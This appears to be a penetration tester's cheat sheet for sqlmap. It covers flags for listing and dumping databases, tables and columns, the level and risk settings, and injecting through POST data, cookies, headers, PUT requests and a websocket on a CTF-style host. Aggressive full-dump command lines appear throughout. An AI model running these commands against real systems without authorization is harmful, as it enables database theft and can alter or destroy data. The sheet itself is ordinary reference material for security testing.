SQLmap

Operators

--batch -> Non interactive mode.

--dbms -> Type of db being use (Ex. mysql)

--threads -> Goes from 1 to 10.

Data

  • To retrieve everything:

--all --dump

--dbs -> List all the databases.

  • To look at the tables of a specific database:

-D database --tables

  • Repeat the same process for columns:

-D database -T table --columns

  • For dumping the data:

-D database -T table --dump

  • Or dump just one column:

-D database -T table -C column --dump

--level

This option sets the level of tests, with values ranging from 1 to 5 (the default is level 1).

  • Level 1: Basic tests, only the most common and least intrusive SQL injection tests are performed.

  • Level 2-4: These levels increase the range and types of tests performed, with more advanced and varied testing.

  • Level 5: Perform the most comprehensive set of tests, including advanced and highly invasive tests. It increases the risk of being detected or causing issues on the target system.

--risk

This option sets the risk level of tests, with values ranging from 1 to 3 (the default is 1).

  • Risk 1: Basic, low-risk tests that are less likely to cause harm or be detected.

  • Risk 2: Performs potentially more intrusive or advanced techniques.

  • Risk 3: Attempt high-risk tests that could be more aggressive, such as testing for blind injections, time-based techniques, or dropping and modifying tables.

HTTP

  • When working with HTTP request is good practice to directly save the request in to a file and use the -r option

sqlmap -r request.txt --level 5 --risk 3 --dump-all --batch

  • Use --force-ssl when working with HTTPS.

Initiates the injection test
sqlmap -r login.request --force-ssl --batch

  • When working with POST requests you need to use the option --data:

sqlmap -u "http://example.com" --data "username=*&password=*"

  • For cookies:

sqlmap  -u "http://example.com" --cookie "cookie=INJECTION"

Headers

sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

Methods

PUT
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

Websockets

  • Install the python websocket-client module.

  • Indicate the port and data:

sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3
PreviousSQLiNextSSI

Last updated